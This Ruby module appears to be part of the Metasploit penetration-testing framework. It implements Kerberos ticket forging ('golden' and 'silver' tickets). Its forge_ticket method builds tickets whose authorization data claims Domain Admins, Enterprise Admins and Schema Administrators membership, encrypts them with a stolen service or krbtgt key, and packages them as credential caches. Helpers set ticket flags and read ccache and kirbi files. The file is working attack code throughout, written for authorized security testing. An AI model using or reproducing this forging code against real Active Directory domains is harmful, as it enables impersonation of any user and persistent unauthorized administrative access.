# -*- coding: binary -*-

require 'date'
require 'rex/proto/kerberos/pac/krb5_pac'

module Msf
  class Exploit
    class Remote
      module Kerberos
        module Ticket
          # @param [String] session_key The session key
          # @param [Array<String>] extra_sids An array of extra sids, Ex: `['S-1-5-etc-etc-519']`
          def forge_ticket(enc_key:, enc_type:, start_time:, end_time:, sname:, flags:,
                           domain:, username:, user_id: Rex::Proto::Kerberos::Pac::DEFAULT_ADMIN_RID,
                           domain_sid:, extra_sids: [], session_key: nil, ticket_checksum: false)
            sname_principal = create_principal(sname)
            cname_principal = create_principal(username)
            group_ids = [
              Rex::Proto::Kerberos::Pac::DOMAIN_USERS,
              Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,
              Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS,
              Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,
              Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,
            ]
            # https://www.ietf.org/rfc/rfc3962.txt#:~:text=7.%20%20Assigned%20Numbers
            case enc_type
            when Rex::Proto::Kerberos::Crypto::Encryption::AES256
              checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES256
            when Rex::Proto::Kerberos::Crypto::Encryption::AES128
              checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::SHA1_AES128
            else
              checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::HMAC_MD5
            end

            session_key_byte_length = enc_type == Rex::Proto::Kerberos::Crypto::Encryption::AES256 ? 32 : 16
            session_key ||= SecureRandom.hex(session_key_byte_length / 2)
            if session_key.bytes.length != session_key_byte_length
              raise "Invalid key length for session key, expected #{session_key_byte_length}, got #{session_key.length} for session key #{session_key}"
            end

            opts = {
              client: cname_principal,
              server: sname_principal,
              auth_time: start_time,
              start_time: start_time,
              end_time: end_time,
              renew_till: end_time,
              realm: domain.upcase,
              key_value: enc_key,
              checksum_enc_key: enc_key,
              session_key: session_key,
              enc_type: enc_type,
              user_id: user_id,
              group_ids: group_ids,
              checksum_type: checksum_type,
              client_name: username,
              domain_id: domain_sid,
              extra_sids: extra_sids,
              flags: flags,
              create_ticket_checksum: ticket_checksum
            }

            ticket_enc_part = create_enc_ticket_part(opts: opts)
            enc_part = encrypt_ticket_enc_part(
              ticket_enc_part: ticket_enc_part, key: opts[:key_value], enc_type: opts[:enc_type]
            )
            ticket = Rex::Proto::Kerberos::Model::Ticket.new(
              tkt_vno: Rex::Proto::Kerberos::Model::VERSION,
              realm: opts[:realm],
              sname: opts[:server],
              enc_part: enc_part
            )
            # Wrap the ticket up with its metadata, i.e. its key/sname/time information etc
            ccache = ticket_as_krb5ccache(ticket, opts: opts)

            ccache
          end

          def create_enc_ticket_part(opts:)
            ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.new

            ticket_enc_part.key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
              type: opts[:enc_type], value: opts[:session_key]
            )
            ticket_enc_part.flags = opts[:flags]
            ticket_enc_part.crealm = opts[:realm]
            ticket_enc_part.cname = opts[:client]
            ticket_enc_part.transited = Rex::Proto::Kerberos::Model::TransitedEncoding.new(tr_type: 0, contents: '')
            ticket_enc_part.authtime = opts[:auth_time]
            ticket_enc_part.starttime = opts[:start_time]
            ticket_enc_part.endtime = opts[:end_time]
            ticket_enc_part.renew_till = opts[:renew_till]
            if opts[:create_ticket_checksum]
              opts[:ticket_checksum] = create_ticket_checksum(opts[:checksum_type],
                                                              opts[:checksum_enc_key],
                                                              ticket_enc_part)
            end
            ticket_enc_part.authorization_data = build_pac_authorization_data(opts)
            ticket_enc_part
          end

          def encrypt_ticket_enc_part(ticket_enc_part:, key:, enc_type:)
            enc_class = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(enc_type)

            encrypted = enc_class.encrypt(
              ticket_enc_part.encode, key, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET
            )

            Rex::Proto::Kerberos::Model::EncryptedData.new(
              etype: enc_type, kvno: 2, cipher: encrypted
            )
          end

          def silver_ticket_flags
            [
              Rex::Proto::Kerberos::Model::TicketFlags::FORWARDABLE,
              Rex::Proto::Kerberos::Model::TicketFlags::PROXIABLE,
              Rex::Proto::Kerberos::Model::TicketFlags::RENEWABLE,
              Rex::Proto::Kerberos::Model::TicketFlags::PRE_AUTHENT
            ]
          end

          def golden_ticket_flags
            silver_ticket_flags << Rex::Proto::Kerberos::Model::TicketFlags::INITIAL
          end

          # @param [Rex::Proto::Kerberos::Model::Ticket] ticket
          # @param [Hash] opts
          # @return [Rex::Proto::Kerberos::CredentialCache::Krb5Ccache]
          def ticket_as_krb5ccache(ticket, opts:)
            Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.new(
              default_principal: create_ccache_principal(opts[:client], opts[:realm]),
              credentials: [
                {
                  client: create_ccache_principal(opts[:client], opts[:realm]),
                  server: create_ccache_principal(opts[:server], opts[:realm]),
                  keyblock: {
                    enctype: opts[:enc_type],
                    data: opts[:session_key]
                  },
                  authtime: opts[:auth_time],
                  starttime: opts[:start_time],
                  endtime: opts[:end_time],
                  renew_till: opts[:renew_till],
                  ticket_flags: opts[:flags].to_i,
                  ticket: ticket.encode
                }
              ]
            )
          end

          def create_principal(name)
            Rex::Proto::Kerberos::Model::PrincipalName.new(
              name_type: Rex::Proto::Kerberos::Model::NameType::NT_PRINCIPAL,
              name_string: Array.wrap(name)
            )
          end

          def create_ccache_principal(principle, realm)
            Rex::Proto::Kerberos::CredentialCache::Krb5CcachePrincipal.new(name_type: principle.name_type,
                                                                           components: principle.name_string,
                                                                           realm: realm)
          end

          def ccache?(header)
            header[0..1] == "\x05\x04"
          end

          def kirbi?(header)
            header[0] == "\x76"
          end

          def print_contents(path, key: nil)
            header = File.binread(path, 2)
            if ccache?(header)
              print_status "Credentials cache: File:#{path}"
              ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(File.binread(path))
              print_ccache_contents(ccache, key: key)
            elsif kirbi?(header)
              print_status "Kirbi File:#{path}"
              krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(File.binread(path))
              ccache = Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
              print_ccache_contents(ccache, key: key)
            else
              fail_with(Msf::Module::Failure::BadConfig, 'Unknown file format')
            end
          end

          def print_ccache_contents(ccache, key: nil)
            presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ccache)
            print_status presenter.present(key: key)
          end

          private

          def create_ticket_checksum(checksum_type, checksum_enc_key, ticket_enc_part)
            ticket_enc_part = ticket_enc_part.dup
            ticket_enc_part.authorization_data = build_empty_auth_data
            ticket_checksum = Rex::Proto::Kerberos::Pac::Krb5TicketChecksum.new(signature_type: checksum_type)
            ticket_checksum.signature = calculate_checksum(
              ticket_checksum.signature_type,
              checksum_enc_key,
              ticket_enc_part.encode
            )
            ticket_checksum
          end

          def calculate_checksum(signature_type, key, data)
            checksummer = Rex::Proto::Kerberos::Crypto::Checksum.from_checksum_type(signature_type)
            checksummer.checksum(key, Rex::Proto::Kerberos::Crypto::KeyUsage::KERB_NON_KERB_CKSUM_SALT, data)
          end
        end
      end
    end
  end
end
